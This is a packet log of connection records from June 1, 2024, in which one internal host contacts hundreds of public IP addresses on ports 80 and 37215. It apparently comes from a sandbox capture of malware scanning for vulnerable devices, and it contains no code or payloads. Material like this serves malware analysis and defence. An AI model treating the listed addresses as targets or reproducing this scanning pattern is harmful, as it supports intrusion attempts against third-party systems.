Jun 1, 2024 18:15:53.210267067 CEST	37215	60650	41.193.154.175	192.168.2.23
Jun 1, 2024 18:15:53.210275888 CEST	37215	60650	197.215.123.203	192.168.2.23
Jun 1, 2024 18:15:53.210285902 CEST	80	43496	92.210.115.192	192.168.2.23
Jun 1, 2024 18:15:53.210294962 CEST	80	43496	179.246.143.199	192.168.2.23
Jun 1, 2024 18:15:53.210303068 CEST	80	43496	83.49.160.126	192.168.2.23
Jun 1, 2024 18:15:53.210304976 CEST	60650	37215	192.168.2.23	197.215.123.203
Jun 1, 2024 18:15:53.210309982 CEST	60650	37215	192.168.2.23	41.193.154.175
Jun 1, 2024 18:15:53.210319996 CEST	43496	80	192.168.2.23	92.210.115.192
Jun 1, 2024 18:15:53.210319996 CEST	43496	80	192.168.2.23	179.246.143.199
Jun 1, 2024 18:15:53.210321903 CEST	80	43496	61.127.90.77	192.168.2.23
Jun 1, 2024 18:15:53.210325003 CEST	43496	80	192.168.2.23	83.49.160.126
Jun 1, 2024 18:15:53.210333109 CEST	80	43496	9.169.172.201	192.168.2.23
Jun 1, 2024 18:15:53.210341930 CEST	37215	60650	197.196.166.105	192.168.2.23
Jun 1, 2024 18:15:53.210350037 CEST	43496	80	192.168.2.23	61.127.90.77
Jun 1, 2024 18:15:53.210365057 CEST	37215	60650	156.198.133.179	192.168.2.23
Jun 1, 2024 18:15:53.210369110 CEST	60650	37215	192.168.2.23	197.196.166.105
Jun 1, 2024 18:15:53.210375071 CEST	43496	80	192.168.2.23	9.169.172.201
Jun 1, 2024 18:15:53.210398912 CEST	60650	37215	192.168.2.23	156.198.133.179
Jun 1, 2024 18:15:53.210400105 CEST	80	43496	43.96.103.216	192.168.2.23
Jun 1, 2024 18:15:53.210410118 CEST	37215	60650	156.85.186.89	192.168.2.23
Jun 1, 2024 18:15:53.210418940 CEST	80	43496	168.4.130.96	192.168.2.23
Jun 1, 2024 18:15:53.210427999 CEST	37215	60650	41.144.64.245	192.168.2.23
Jun 1, 2024 18:15:53.210433006 CEST	43496	80	192.168.2.23	43.96.103.216
Jun 1, 2024 18:15:53.210436106 CEST	60650	37215	192.168.2.23	156.85.186.89
Jun 1, 2024 18:15:53.210438967 CEST	80	43496	110.41.164.150	192.168.2.23
Jun 1, 2024 18:15:53.210452080 CEST	60650	37215	192.168.2.23	41.144.64.245
Jun 1, 2024 18:15:53.210453033 CEST	43496	80	192.168.2.23	168.4.130.96
Jun 1, 2024 18:15:53.210455894 CEST	80	43496	153.37.162.95	192.168.2.23
Jun 1, 2024 18:15:53.210464954 CEST	43496	80	192.168.2.23	110.41.164.150
Jun 1, 2024 18:15:53.210467100 CEST	80	43496	121.110.136.89	192.168.2.23
Jun 1, 2024 18:15:53.210475922 CEST	37215	60650	156.141.233.124	192.168.2.23
Jun 1, 2024 18:15:53.210484982 CEST	80	43496	197.185.224.91	192.168.2.23
Jun 1, 2024 18:15:53.210493088 CEST	37215	60650	41.64.231.154	192.168.2.23
Jun 1, 2024 18:15:53.210494041 CEST	43496	80	192.168.2.23	153.37.162.95
Jun 1, 2024 18:15:53.210494995 CEST	43496	80	192.168.2.23	121.110.136.89
Jun 1, 2024 18:15:53.210505962 CEST	60650	37215	192.168.2.23	156.141.233.124
Jun 1, 2024 18:15:53.210506916 CEST	43496	80	192.168.2.23	197.185.224.91
Jun 1, 2024 18:15:53.210510015 CEST	80	43496	153.188.59.132	192.168.2.23
Jun 1, 2024 18:15:53.210520029 CEST	60650	37215	192.168.2.23	41.64.231.154
Jun 1, 2024 18:15:53.210520029 CEST	80	43496	169.137.65.102	192.168.2.23
Jun 1, 2024 18:15:53.210530043 CEST	80	43496	134.167.201.230	192.168.2.23
Jun 1, 2024 18:15:53.210537910 CEST	80	43496	177.231.25.5	192.168.2.23
Jun 1, 2024 18:15:53.210546017 CEST	80	43496	180.219.143.10	192.168.2.23
Jun 1, 2024 18:15:53.210546017 CEST	43496	80	192.168.2.23	153.188.59.132
Jun 1, 2024 18:15:53.210546017 CEST	43496	80	192.168.2.23	169.137.65.102
Jun 1, 2024 18:15:53.210563898 CEST	43496	80	192.168.2.23	177.231.25.5
Jun 1, 2024 18:15:53.210568905 CEST	43496	80	192.168.2.23	180.219.143.10
Jun 1, 2024 18:15:53.210567951 CEST	43496	80	192.168.2.23	134.167.201.230
Jun 1, 2024 18:15:53.210975885 CEST	80	43496	1.73.209.108	192.168.2.23
Jun 1, 2024 18:15:53.211009979 CEST	43496	80	192.168.2.23	1.73.209.108
Jun 1, 2024 18:15:53.211033106 CEST	80	43496	221.76.95.178	192.168.2.23
Jun 1, 2024 18:15:53.211041927 CEST	80	43496	14.33.80.184	192.168.2.23
Jun 1, 2024 18:15:53.211050987 CEST	80	43496	75.24.170.18	192.168.2.23
Jun 1, 2024 18:15:53.211060047 CEST	80	43496	195.77.110.238	192.168.2.23
Jun 1, 2024 18:15:53.211061001 CEST	43496	80	192.168.2.23	221.76.95.178
Jun 1, 2024 18:15:53.211070061 CEST	80	43496	167.194.231.253	192.168.2.23
Jun 1, 2024 18:15:53.211080074 CEST	43496	80	192.168.2.23	14.33.80.184
Jun 1, 2024 18:15:53.211085081 CEST	43496	80	192.168.2.23	75.24.170.18
Jun 1, 2024 18:15:53.211088896 CEST	43496	80	192.168.2.23	195.77.110.238
Jun 1, 2024 18:15:53.211088896 CEST	80	43496	63.7.119.120	192.168.2.23
Jun 1, 2024 18:15:53.211097002 CEST	43496	80	192.168.2.23	167.194.231.253
Jun 1, 2024 18:15:53.211100101 CEST	80	43496	42.232.209.2	192.168.2.23
Jun 1, 2024 18:15:53.211110115 CEST	80	43496	92.145.117.109	192.168.2.23
Jun 1, 2024 18:15:53.211118937 CEST	80	43496	37.231.189.9	192.168.2.23
Jun 1, 2024 18:15:53.211126089 CEST	43496	80	192.168.2.23	42.232.209.2
Jun 1, 2024 18:15:53.211127996 CEST	37215	60650	41.61.54.93	192.168.2.23
Jun 1, 2024 18:15:53.211128950 CEST	43496	80	192.168.2.23	92.145.117.109
Jun 1, 2024 18:15:53.211131096 CEST	43496	80	192.168.2.23	63.7.119.120
Jun 1, 2024 18:15:53.211137056 CEST	37215	60650	156.115.52.75	192.168.2.23
Jun 1, 2024 18:15:53.211146116 CEST	80	43496	121.52.120.125	192.168.2.23
Jun 1, 2024 18:15:53.211148024 CEST	43496	80	192.168.2.23	37.231.189.9
Jun 1, 2024 18:15:53.211153030 CEST	60650	37215	192.168.2.23	41.61.54.93
Jun 1, 2024 18:15:53.211164951 CEST	60650	37215	192.168.2.23	156.115.52.75
Jun 1, 2024 18:15:53.211165905 CEST	37215	60650	41.179.71.43	192.168.2.23
Jun 1, 2024 18:15:53.211175919 CEST	37215	60650	41.29.240.127	192.168.2.23
Jun 1, 2024 18:15:53.211178064 CEST	43496	80	192.168.2.23	121.52.120.125
Jun 1, 2024 18:15:53.211184025 CEST	80	43496	18.201.207.21	192.168.2.23
Jun 1, 2024 18:15:53.211193085 CEST	80	43496	42.114.104.248	192.168.2.23
Jun 1, 2024 18:15:53.211201906 CEST	80	43496	81.48.131.122	192.168.2.23
Jun 1, 2024 18:15:53.211203098 CEST	60650	37215	192.168.2.23	41.179.71.43
Jun 1, 2024 18:15:53.211204052 CEST	60650	37215	192.168.2.23	41.29.240.127
Jun 1, 2024 18:15:53.211211920 CEST	37215	60650	41.56.22.153	192.168.2.23
Jun 1, 2024 18:15:53.211220026 CEST	80	43496	105.180.191.144	192.168.2.23
Jun 1, 2024 18:15:53.211222887 CEST	43496	80	192.168.2.23	18.201.207.21
Jun 1, 2024 18:15:53.211222887 CEST	43496	80	192.168.2.23	42.114.104.248
Jun 1, 2024 18:15:53.211229086 CEST	80	43496	75.119.131.149	192.168.2.23
Jun 1, 2024 18:15:53.211231947 CEST	43496	80	192.168.2.23	81.48.131.122
Jun 1, 2024 18:15:53.211244106 CEST	60650	37215	192.168.2.23	41.56.22.153
Jun 1, 2024 18:15:53.211246014 CEST	43496	80	192.168.2.23	105.180.191.144
Jun 1, 2024 18:15:53.211246967 CEST	80	43496	13.153.129.152	192.168.2.23
Jun 1, 2024 18:15:53.211256027 CEST	43496	80	192.168.2.23	75.119.131.149
Jun 1, 2024 18:15:53.211256981 CEST	37215	60650	197.81.225.105	192.168.2.23
Jun 1, 2024 18:15:53.211283922 CEST	60650	37215	192.168.2.23	197.81.225.105
Jun 1, 2024 18:15:53.211287975 CEST	43496	80	192.168.2.23	13.153.129.152
Jun 1, 2024 18:15:53.211832047 CEST	37215	60650	41.23.36.64	192.168.2.23
Jun 1, 2024 18:15:53.211842060 CEST	80	43496	116.221.186.78	192.168.2.23
Jun 1, 2024 18:15:53.211863995 CEST	37215	60650	41.104.188.254	192.168.2.23
Jun 1, 2024 18:15:53.211873055 CEST	80	43496	169.113.117.55	192.168.2.23
Jun 1, 2024 18:15:53.211878061 CEST	43496	80	192.168.2.23	116.221.186.78
Jun 1, 2024 18:15:53.211882114 CEST	60650	37215	192.168.2.23	41.23.36.64
Jun 1, 2024 18:15:53.211885929 CEST	80	43496	93.150.151.56	192.168.2.23
Jun 1, 2024 18:15:53.211893082 CEST	60650	37215	192.168.2.23	41.104.188.254
Jun 1, 2024 18:15:53.211895943 CEST	80	43496	45.134.135.1	192.168.2.23
Jun 1, 2024 18:15:53.211899042 CEST	43496	80	192.168.2.23	169.113.117.55
Jun 1, 2024 18:15:53.211916924 CEST	43496	80	192.168.2.23	45.134.135.1
Jun 1, 2024 18:15:53.211919069 CEST	43496	80	192.168.2.23	93.150.151.56
Jun 1, 2024 18:15:53.211965084 CEST	80	43496	181.202.194.143	192.168.2.23
Jun 1, 2024 18:15:53.211976051 CEST	80	43496	39.216.35.94	192.168.2.23
Jun 1, 2024 18:15:53.211982965 CEST	80	43496	150.161.174.155	192.168.2.23
Jun 1, 2024 18:15:53.211992025 CEST	37215	60650	41.125.186.113	192.168.2.23
Jun 1, 2024 18:15:53.211999893 CEST	80	43496	89.68.226.228	192.168.2.23
Jun 1, 2024 18:15:53.212002039 CEST	43496	80	192.168.2.23	181.202.194.143
Jun 1, 2024 18:15:53.212002039 CEST	43496	80	192.168.2.23	39.216.35.94
Jun 1, 2024 18:15:53.212008953 CEST	37215	60650	156.113.148.202	192.168.2.23
Jun 1, 2024 18:15:53.212018013 CEST	80	43496	197.104.156.226	192.168.2.23
Jun 1, 2024 18:15:53.212022066 CEST	43496	80	192.168.2.23	150.161.174.155
Jun 1, 2024 18:15:53.212022066 CEST	60650	37215	192.168.2.23	41.125.186.113
Jun 1, 2024 18:15:53.212023973 CEST	43496	80	192.168.2.23	89.68.226.228
Jun 1, 2024 18:15:53.212028027 CEST	80	43496	191.173.220.196	192.168.2.23
Jun 1, 2024 18:15:53.212033987 CEST	60650	37215	192.168.2.23	156.113.148.202
Jun 1, 2024 18:15:53.212045908 CEST	80	43496	121.126.68.62	192.168.2.23
Jun 1, 2024 18:15:53.212049961 CEST	43496	80	192.168.2.23	191.173.220.196
Jun 1, 2024 18:15:53.212052107 CEST	43496	80	192.168.2.23	197.104.156.226
Jun 1, 2024 18:15:53.212055922 CEST	80	43496	106.65.216.161	192.168.2.23
Jun 1, 2024 18:15:53.212064981 CEST	80	43496	41.78.15.189	192.168.2.23
Jun 1, 2024 18:15:53.212074041 CEST	43496	80	192.168.2.23	121.126.68.62
Jun 1, 2024 18:15:53.212089062 CEST	43496	80	192.168.2.23	106.65.216.161
Jun 1, 2024 18:15:53.212089062 CEST	43496	80	192.168.2.23	41.78.15.189
Jun 1, 2024 18:15:53.212116957 CEST	80	43496	106.6.243.211	192.168.2.23
Jun 1, 2024 18:15:53.212126017 CEST	37215	60650	197.232.164.175	192.168.2.23
Jun 1, 2024 18:15:53.212133884 CEST	80	43496	40.190.220.219	192.168.2.23
Jun 1, 2024 18:15:53.212143898 CEST	80	43496	176.186.81.156	192.168.2.23
Jun 1, 2024 18:15:53.212152004 CEST	60650	37215	192.168.2.23	197.232.164.175
Jun 1, 2024 18:15:53.212152958 CEST	43496	80	192.168.2.23	106.6.243.211
Jun 1, 2024 18:15:53.212155104 CEST	37215	60650	41.228.171.247	192.168.2.23
Jun 1, 2024 18:15:53.212165117 CEST	80	43496	164.103.186.113	192.168.2.23
Jun 1, 2024 18:15:53.212167025 CEST	43496	80	192.168.2.23	176.186.81.156
Jun 1, 2024 18:15:53.212167978 CEST	43496	80	192.168.2.23	40.190.220.219
Jun 1, 2024 18:15:53.212172985 CEST	80	43496	144.193.158.11	192.168.2.23
Jun 1, 2024 18:15:53.212188959 CEST	60650	37215	192.168.2.23	41.228.171.247
Jun 1, 2024 18:15:53.212188959 CEST	43496	80	192.168.2.23	164.103.186.113
Jun 1, 2024 18:15:53.212203026 CEST	43496	80	192.168.2.23	144.193.158.11
Jun 1, 2024 18:15:53.212547064 CEST	80	43496	25.186.51.60	192.168.2.23
Jun 1, 2024 18:15:53.212565899 CEST	80	43496	169.126.118.144	192.168.2.23
Jun 1, 2024 18:15:53.212574959 CEST	37215	60650	197.52.68.46	192.168.2.23
Jun 1, 2024 18:15:53.212585926 CEST	80	43496	118.40.75.186	192.168.2.23
Jun 1, 2024 18:15:53.212585926 CEST	43496	80	192.168.2.23	25.186.51.60
Jun 1, 2024 18:15:53.212595940 CEST	80	43496	60.44.132.233	192.168.2.23
Jun 1, 2024 18:15:53.212596893 CEST	60650	37215	192.168.2.23	197.52.68.46
Jun 1, 2024 18:15:53.212598085 CEST	43496	80	192.168.2.23	169.126.118.144
Jun 1, 2024 18:15:53.212605000 CEST	80	43496	157.222.2.81	192.168.2.23
Jun 1, 2024 18:15:53.212619066 CEST	43496	80	192.168.2.23	118.40.75.186
Jun 1, 2024 18:15:53.212621927 CEST	80	43496	167.132.139.38	192.168.2.23
Jun 1, 2024 18:15:53.212626934 CEST	43496	80	192.168.2.23	60.44.132.233
Jun 1, 2024 18:15:53.212626934 CEST	43496	80	192.168.2.23	157.222.2.81
Jun 1, 2024 18:15:53.212630987 CEST	80	43496	34.28.25.135	192.168.2.23
Jun 1, 2024 18:15:53.212640047 CEST	80	43496	201.98.192.192	192.168.2.23
Jun 1, 2024 18:15:53.212649107 CEST	80	43496	81.36.220.230	192.168.2.23
Jun 1, 2024 18:15:53.212651968 CEST	43496	80	192.168.2.23	167.132.139.38
Jun 1, 2024 18:15:53.212656021 CEST	43496	80	192.168.2.23	34.28.25.135
Jun 1, 2024 18:15:53.212658882 CEST	80	43496	72.112.242.122	192.168.2.23
Jun 1, 2024 18:15:53.212667942 CEST	80	43496	162.111.194.156	192.168.2.23
Jun 1, 2024 18:15:53.212672949 CEST	43496	80	192.168.2.23	81.36.220.230
Jun 1, 2024 18:15:53.212676048 CEST	37215	60650	41.217.73.69	192.168.2.23
Jun 1, 2024 18:15:53.212677956 CEST	43496	80	192.168.2.23	201.98.192.192
Jun 1, 2024 18:15:53.212686062 CEST	37215	60650	41.237.11.82	192.168.2.23
Jun 1, 2024 18:15:53.212688923 CEST	43496	80	192.168.2.23	72.112.242.122
Jun 1, 2024 18:15:53.212690115 CEST	43496	80	192.168.2.23	162.111.194.156
Jun 1, 2024 18:15:53.212696075 CEST	37215	60650	197.99.37.155	192.168.2.23
Jun 1, 2024 18:15:53.212704897 CEST	37215	60650	41.54.134.138	192.168.2.23
Jun 1, 2024 18:15:53.212706089 CEST	60650	37215	192.168.2.23	41.217.73.69
Jun 1, 2024 18:15:53.212717056 CEST	60650	37215	192.168.2.23	41.237.11.82
Jun 1, 2024 18:15:53.212732077 CEST	60650	37215	192.168.2.23	197.99.37.155
Jun 1, 2024 18:15:53.212733030 CEST	60650	37215	192.168.2.23	41.54.134.138
Jun 1, 2024 18:15:53.213032007 CEST	80	43496	63.194.193.1	192.168.2.23
Jun 1, 2024 18:15:53.213041067 CEST	80	43496	208.229.192.34	192.168.2.23
Jun 1, 2024 18:15:53.213062048 CEST	43496	80	192.168.2.23	63.194.193.1
Jun 1, 2024 18:15:53.213068008 CEST	43496	80	192.168.2.23	208.229.192.34
Jun 1, 2024 18:15:53.213078022 CEST	80	43496	191.61.74.148	192.168.2.23
Jun 1, 2024 18:15:53.213087082 CEST	80	43496	182.140.170.230	192.168.2.23
Jun 1, 2024 18:15:53.213095903 CEST	80	43496	217.1.184.132	192.168.2.23
Jun 1, 2024 18:15:53.213104963 CEST	80	43496	14.103.190.1	192.168.2.23
Jun 1, 2024 18:15:53.213109016 CEST	43496	80	192.168.2.23	182.140.170.230
Jun 1, 2024 18:15:53.213109016 CEST	43496	80	192.168.2.23	191.61.74.148
Jun 1, 2024 18:15:53.213114023 CEST	37215	60650	197.14.221.193	192.168.2.23
Jun 1, 2024 18:15:53.213125944 CEST	43496	80	192.168.2.23	217.1.184.132
Jun 1, 2024 18:15:53.213131905 CEST	43496	80	192.168.2.23	14.103.190.1
Jun 1, 2024 18:15:53.213139057 CEST	60650	37215	192.168.2.23	197.14.221.193
Jun 1, 2024 18:15:53.213149071 CEST	37215	60650	41.22.240.26	192.168.2.23
Jun 1, 2024 18:15:53.213157892 CEST	37215	60650	156.58.46.237	192.168.2.23
Jun 1, 2024 18:15:53.213166952 CEST	37215	60650	156.199.163.35	192.168.2.23
Jun 1, 2024 18:15:53.213176966 CEST	60650	37215	192.168.2.23	41.22.240.26
Jun 1, 2024 18:15:53.213177919 CEST	37215	60650	197.16.236.207	192.168.2.23
Jun 1, 2024 18:15:53.213181973 CEST	60650	37215	192.168.2.23	156.58.46.237
Jun 1, 2024 18:15:53.213186979 CEST	37215	60650	197.89.247.154	192.168.2.23
Jun 1, 2024 18:15:53.213196993 CEST	37215	60650	41.123.244.75	192.168.2.23
Jun 1, 2024 18:15:53.213207006 CEST	37215	60650	197.77.102.185	192.168.2.23
Jun 1, 2024 18:15:53.213210106 CEST	60650	37215	192.168.2.23	197.16.236.207
Jun 1, 2024 18:15:53.213217020 CEST	80	43496	79.45.133.115	192.168.2.23
Jun 1, 2024 18:15:53.213219881 CEST	60650	37215	192.168.2.23	156.199.163.35
Jun 1, 2024 18:15:53.213219881 CEST	60650	37215	192.168.2.23	197.89.247.154
Jun 1, 2024 18:15:53.213229895 CEST	60650	37215	192.168.2.23	41.123.244.75
Jun 1, 2024 18:15:53.213229895 CEST	60650	37215	192.168.2.23	197.77.102.185
Jun 1, 2024 18:15:53.213251114 CEST	43496	80	192.168.2.23	79.45.133.115
Jun 1, 2024 18:15:53.213639021 CEST	80	43496	177.88.233.51	192.168.2.23
Jun 1, 2024 18:15:53.213671923 CEST	43496	80	192.168.2.23	177.88.233.51
Jun 1, 2024 18:15:53.213704109 CEST	37215	60650	41.35.136.198	192.168.2.23
Jun 1, 2024 18:15:53.213712931 CEST	37215	60650	41.3.214.56	192.168.2.23
Jun 1, 2024 18:15:53.213721991 CEST	80	43496	131.40.67.60	192.168.2.23
Jun 1, 2024 18:15:53.213730097 CEST	60650	37215	192.168.2.23	41.35.136.198
Jun 1, 2024 18:15:53.213732004 CEST	37215	60650	197.141.141.230	192.168.2.23
Jun 1, 2024 18:15:53.213732004 CEST	60650	37215	192.168.2.23	41.3.214.56
Jun 1, 2024 18:15:53.213742018 CEST	37215	60650	156.198.0.72	192.168.2.23
Jun 1, 2024 18:15:53.213752031 CEST	80	43496	86.59.156.56	192.168.2.23
Jun 1, 2024 18:15:53.213762045 CEST	43496	80	192.168.2.23	131.40.67.60
Jun 1, 2024 18:15:53.213762045 CEST	60650	37215	192.168.2.23	197.141.141.230
Jun 1, 2024 18:15:53.213767052 CEST	60650	37215	192.168.2.23	156.198.0.72
Jun 1, 2024 18:15:53.213769913 CEST	37215	60650	197.28.85.110	192.168.2.23
Jun 1, 2024 18:15:53.213781118 CEST	37215	60650	41.87.69.230	192.168.2.23
Jun 1, 2024 18:15:53.213783979 CEST	43496	80	192.168.2.23	86.59.156.56
Jun 1, 2024 18:15:53.213792086 CEST	80	43496	23.145.187.178	192.168.2.23
Jun 1, 2024 18:15:53.213802099 CEST	37215	60650	197.152.59.53	192.168.2.23
Jun 1, 2024 18:15:53.213809967 CEST	80	43496	158.39.29.160	192.168.2.23
Jun 1, 2024 18:15:53.213809967 CEST	60650	37215	192.168.2.23	197.28.85.110
Jun 1, 2024 18:15:53.213813066 CEST	60650	37215	192.168.2.23	41.87.69.230
Jun 1, 2024 18:15:53.213816881 CEST	43496	80	192.168.2.23	23.145.187.178
Jun 1, 2024 18:15:53.213821888 CEST	60650	37215	192.168.2.23	197.152.59.53
Jun 1, 2024 18:15:53.213824034 CEST	80	43496	180.29.40.134	192.168.2.23
Jun 1, 2024 18:15:53.213834047 CEST	80	43496	143.132.39.47	192.168.2.23
Jun 1, 2024 18:15:53.213838100 CEST	43496	80	192.168.2.23	158.39.29.160
Jun 1, 2024 18:15:53.213843107 CEST	80	43496	63.108.227.169	192.168.2.23
Jun 1, 2024 18:15:53.213851929 CEST	43496	80	192.168.2.23	180.29.40.134
Jun 1, 2024 18:15:53.213852882 CEST	37215	60650	41.233.226.160	192.168.2.23
Jun 1, 2024 18:15:53.213855982 CEST	43496	80	192.168.2.23	143.132.39.47
Jun 1, 2024 18:15:53.213861942 CEST	80	43496	195.82.20.116	192.168.2.23
Jun 1, 2024 18:15:53.213872910 CEST	43496	80	192.168.2.23	63.108.227.169
Jun 1, 2024 18:15:53.213876009 CEST	60650	37215	192.168.2.23	41.233.226.160
Jun 1, 2024 18:15:53.213881969 CEST	80	43496	63.185.71.220	192.168.2.23
Jun 1, 2024 18:15:53.213888884 CEST	43496	80	192.168.2.23	195.82.20.116
Jun 1, 2024 18:15:53.213893890 CEST	80	43496	128.186.56.238	192.168.2.23
Jun 1, 2024 18:15:53.213902950 CEST	80	43496	160.21.31.94	192.168.2.23
Jun 1, 2024 18:15:53.213911057 CEST	43496	80	192.168.2.23	63.185.71.220
Jun 1, 2024 18:15:53.213924885 CEST	43496	80	192.168.2.23	160.21.31.94
Jun 1, 2024 18:15:53.213924885 CEST	43496	80	192.168.2.23	128.186.56.238
Jun 1, 2024 18:15:53.214354038 CEST	80	43496	49.85.32.122	192.168.2.23
Jun 1, 2024 18:15:53.214370012 CEST	37215	60650	41.215.86.32	192.168.2.23
Jun 1, 2024 18:15:53.214386940 CEST	43496	80	192.168.2.23	49.85.32.122
Jun 1, 2024 18:15:53.214395046 CEST	60650	37215	192.168.2.23	41.215.86.32
Jun 1, 2024 18:15:53.214396000 CEST	80	43496	158.217.177.136	192.168.2.23
Jun 1, 2024 18:15:53.214416981 CEST	37215	60650	156.69.3.25	192.168.2.23
Jun 1, 2024 18:15:53.214426041 CEST	80	43496	203.143.4.238	192.168.2.23
Jun 1, 2024 18:15:53.214437008 CEST	80	43496	42.247.90.10	192.168.2.23
Jun 1, 2024 18:15:53.214440107 CEST	43496	80	192.168.2.23	158.217.177.136
Jun 1, 2024 18:15:53.214442015 CEST	60650	37215	192.168.2.23	156.69.3.25
Jun 1, 2024 18:15:53.214447021 CEST	80	43496	119.95.244.234	192.168.2.23
Jun 1, 2024 18:15:53.214456081 CEST	43496	80	192.168.2.23	203.143.4.238
Jun 1, 2024 18:15:53.214462042 CEST	43496	80	192.168.2.23	42.247.90.10
Jun 1, 2024 18:15:53.214463949 CEST	37215	60650	156.129.75.93	192.168.2.23
Jun 1, 2024 18:15:53.214468956 CEST	43496	80	192.168.2.23	119.95.244.234
Jun 1, 2024 18:15:53.214473963 CEST	80	43496	36.133.204.39	192.168.2.23
Jun 1, 2024 18:15:53.214483023 CEST	80	43496	45.233.122.80	192.168.2.23
Jun 1, 2024 18:15:53.214494944 CEST	80	43496	197.7.136.165	192.168.2.23
Jun 1, 2024 18:15:53.214499950 CEST	60650	37215	192.168.2.23	156.129.75.93
Jun 1, 2024 18:15:53.214499950 CEST	43496	80	192.168.2.23	36.133.204.39
Jun 1, 2024 18:15:53.214504004 CEST	37215	60650	156.117.18.195	192.168.2.23
Jun 1, 2024 18:15:53.214513063 CEST	37215	60650	156.186.56.132	192.168.2.23
Jun 1, 2024 18:15:53.214518070 CEST	43496	80	192.168.2.23	45.233.122.80
Jun 1, 2024 18:15:53.214528084 CEST	43496	80	192.168.2.23	197.7.136.165
Jun 1, 2024 18:15:53.214530945 CEST	60650	37215	192.168.2.23	156.117.18.195
Jun 1, 2024 18:15:53.214539051 CEST	60650	37215	192.168.2.23	156.186.56.132
Jun 1, 2024 18:15:53.214540005 CEST	37215	60650	156.193.79.172	192.168.2.23
Jun 1, 2024 18:15:53.214550018 CEST	80	43496	64.68.156.94	192.168.2.23
Jun 1, 2024 18:15:53.214557886 CEST	80	43496	119.157.16.129	192.168.2.23
Jun 1, 2024 18:15:53.214566946 CEST	37215	60650	156.192.140.164	192.168.2.23
Jun 1, 2024 18:15:53.214574099 CEST	60650	37215	192.168.2.23	156.193.79.172
Jun 1, 2024 18:15:53.214575052 CEST	43496	80	192.168.2.23	64.68.156.94
Jun 1, 2024 18:15:53.214576960 CEST	37215	60650	41.149.143.181	192.168.2.23
Jun 1, 2024 18:15:53.214586020 CEST	37215	60650	197.93.95.65	192.168.2.23
Jun 1, 2024 18:15:53.214587927 CEST	43496	80	192.168.2.23	119.157.16.129
Jun 1, 2024 18:15:53.214587927 CEST	60650	37215	192.168.2.23	156.192.140.164
Jun 1, 2024 18:15:53.214602947 CEST	37215	60650	156.196.150.124	192.168.2.23
Jun 1, 2024 18:15:53.214613914 CEST	60650	37215	192.168.2.23	41.149.143.181
Jun 1, 2024 18:15:53.214615107 CEST	60650	37215	192.168.2.23	197.93.95.65
Jun 1, 2024 18:15:53.214632034 CEST	60650	37215	192.168.2.23	156.196.150.124
Jun 1, 2024 18:15:53.215017080 CEST	80	43496	165.115.178.253	192.168.2.23
Jun 1, 2024 18:15:53.215034962 CEST	80	43496	186.37.69.21	192.168.2.23
Jun 1, 2024 18:15:53.215044022 CEST	37215	60650	156.224.44.130	192.168.2.23
Jun 1, 2024 18:15:53.215049982 CEST	43496	80	192.168.2.23	165.115.178.253
Jun 1, 2024 18:15:53.215065002 CEST	43496	80	192.168.2.23	186.37.69.21
Jun 1, 2024 18:15:53.215066910 CEST	37215	60650	156.190.54.140	192.168.2.23
Jun 1, 2024 18:15:53.215068102 CEST	60650	37215	192.168.2.23	156.224.44.130
Jun 1, 2024 18:15:53.215076923 CEST	37215	60650	41.112.228.133	192.168.2.23
Jun 1, 2024 18:15:53.215086937 CEST	80	43496	38.97.6.55	192.168.2.23
Jun 1, 2024 18:15:53.215104103 CEST	60650	37215	192.168.2.23	156.190.54.140
Jun 1, 2024 18:15:53.215105057 CEST	60650	37215	192.168.2.23	41.112.228.133
Jun 1, 2024 18:15:53.215115070 CEST	80	43496	51.74.63.147	192.168.2.23
Jun 1, 2024 18:15:53.215116978 CEST	43496	80	192.168.2.23	38.97.6.55
Jun 1, 2024 18:15:53.215132952 CEST	80	43496	143.157.115.11	192.168.2.23
Jun 1, 2024 18:15:53.215142012 CEST	80	43496	63.197.220.97	192.168.2.23
Jun 1, 2024 18:15:53.215147018 CEST	43496	80	192.168.2.23	51.74.63.147
Jun 1, 2024 18:15:53.215152979 CEST	80	43496	12.187.208.216	192.168.2.23
Jun 1, 2024 18:15:53.215162039 CEST	80	43496	118.71.176.25	192.168.2.23
Jun 1, 2024 18:15:53.215164900 CEST	43496	80	192.168.2.23	63.197.220.97
Jun 1, 2024 18:15:53.215163946 CEST	43496	80	192.168.2.23	143.157.115.11
Jun 1, 2024 18:15:53.215171099 CEST	80	43496	85.125.238.49	192.168.2.23
Jun 1, 2024 18:15:53.215183973 CEST	43496	80	192.168.2.23	118.71.176.25
Jun 1, 2024 18:15:53.215183973 CEST	43496	80	192.168.2.23	12.187.208.216
Jun 1, 2024 18:15:53.215188026 CEST	37215	60650	156.165.73.173	192.168.2.23
Jun 1, 2024 18:15:53.215197086 CEST	37215	60650	41.143.180.10	192.168.2.23
Jun 1, 2024 18:15:53.215198040 CEST	43496	80	192.168.2.23	85.125.238.49
Jun 1, 2024 18:15:53.215205908 CEST	80	43496	82.154.229.27	192.168.2.23
Jun 1, 2024 18:15:53.215214014 CEST	80	43496	61.183.135.56	192.168.2.23
Jun 1, 2024 18:15:53.215218067 CEST	60650	37215	192.168.2.23	156.165.73.173
Jun 1, 2024 18:15:53.215221882 CEST	60650	37215	192.168.2.23	41.143.180.10
Jun 1, 2024 18:15:53.215224981 CEST	80	43496	81.223.173.128	192.168.2.23
Jun 1, 2024 18:15:53.215234041 CEST	80	43496	181.181.57.69	192.168.2.23
Jun 1, 2024 18:15:53.215238094 CEST	43496	80	192.168.2.23	82.154.229.27
Jun 1, 2024 18:15:53.215241909 CEST	37215	60650	156.64.242.122	192.168.2.23
Jun 1, 2024 18:15:53.215245962 CEST	43496	80	192.168.2.23	61.183.135.56
Jun 1, 2024 18:15:53.215250969 CEST	80	43496	74.198.69.187	192.168.2.23
Jun 1, 2024 18:15:53.215261936 CEST	43496	80	192.168.2.23	181.181.57.69
Jun 1, 2024 18:15:53.215265989 CEST	43496	80	192.168.2.23	81.223.173.128
Jun 1, 2024 18:15:53.215270042 CEST	60650	37215	192.168.2.23	156.64.242.122
Jun 1, 2024 18:15:53.215270996 CEST	80	43496	197.163.135.132	192.168.2.23
Jun 1, 2024 18:15:53.215280056 CEST	43496	80	192.168.2.23	74.198.69.187
Jun 1, 2024 18:15:53.215281963 CEST	80	43496	12.12.218.218	192.168.2.23
Jun 1, 2024 18:15:53.215291977 CEST	80	43496	125.249.4.8	192.168.2.23
Jun 1, 2024 18:15:53.215301991 CEST	37215	60650	197.110.138.202	192.168.2.23
Jun 1, 2024 18:15:53.215305090 CEST	43496	80	192.168.2.23	197.163.135.132
Jun 1, 2024 18:15:53.215308905 CEST	43496	80	192.168.2.23	12.12.218.218
